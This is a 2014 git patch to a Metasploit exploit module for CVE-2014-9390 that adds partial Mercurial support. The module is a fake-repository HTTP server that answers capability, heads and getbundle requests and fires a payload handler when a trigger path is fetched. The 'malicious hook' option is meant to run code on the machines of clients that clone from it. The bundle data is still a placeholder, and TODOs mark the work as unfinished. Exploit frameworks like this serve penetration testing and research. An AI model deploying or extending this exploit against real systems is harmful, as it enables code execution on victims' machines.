From 421fc2096478c471bda127e114579b80926ea864 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 22 Dec 2014 17:44:14 -0800 Subject: [PATCH] Partial mercurial support. Still need to implement bundle format --- .../exploits/multi/http/git_cve_2014_9390.rb | 28 ++++++++++++++----- 1 file changed, 21 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/http/git_cve_2014_9390.rb b/modules/exploits/multi/http/git_cve_2014_9390.rb index e7c4c499b7..f6c126384f 100644 --- a/modules/exploits/multi/http/git_cve_2014_9390.rb +++ b/modules/exploits/multi/http/git_cve_2014_9390.rb @@ -159,7 +159,18 @@ class Metasploit4 < Msf::Exploit::Remote fail ArgumentError, 'MERCURIAL_URI must start with a /' unless mercurial_uri =~ /^\// # sanity check the malicious hook: fail ArgumentError, 'MERCURIAL_HOOK must not be blank' if datastore['MERCURIAL_HOOK'].blank? - # TODO: build the fake repository + # we fake the Mercurial HTTP protocol such that we are compliant as possible but + # also as simple as possible so that we don't have to support all of the protocol + # complexities. Taken from: + # http://mercurial.selenic.com/wiki/HttpCommandProtocol + # http://selenic.com/hg/file/tip/mercurial/wireproto.py + @repo_data[:mercurial][:files]['?cmd=capabilities'] = 'heads getbundle=HG10UN' + fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814' + @repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n" + # TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat + @repo_data[:mercurial][:files]["?cmd=getbundle&common=0000000000000000000000000000000000000000&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo") + + # TODO: finish building the fake repository end def build_object(type, content) @@ -255,11 +266,14 @@ HTML def do_mercurial(cli, req) # determine if the requested file is something we know how to serve from our # fake repository and send it if so - req_file = URI.parse(req.uri).path.gsub(/^#{mercurial_uri}/, '') - if @repo_data[:mercurial][:files].key?(req_file) - vprint_status("Sending Mercurial #{req_file}") - send_response(cli, @repo_data[:mercurial][:files][req_file]) - if req_file == @repo_data[:mercurial][:trigger] + uri = URI.parse(req.uri) + req_path = uri.path + req_path += "?#{uri.query}" if uri.query + req_path.gsub!(/^#{mercurial_uri}/, '') + if @repo_data[:mercurial][:files].key?(req_path) + vprint_status("Sending Mercurial #{req_path}") + send_response(cli, @repo_data[:mercurial][:files][req_path], 'Content-Type' => 'application/mercurial-0.1') + if req_path == @repo_data[:mercurial][:trigger] vprint_status("Trigger!") # Do we need this? If so, how can I update the payload which is in a file which # has already been built? @@ -267,7 +281,7 @@ HTML handler(cli) end else - vprint_status("Mercurial #{req_file} doesn't exist") + vprint_status("Mercurial #{req_path} doesn't exist") send_not_found(cli) end end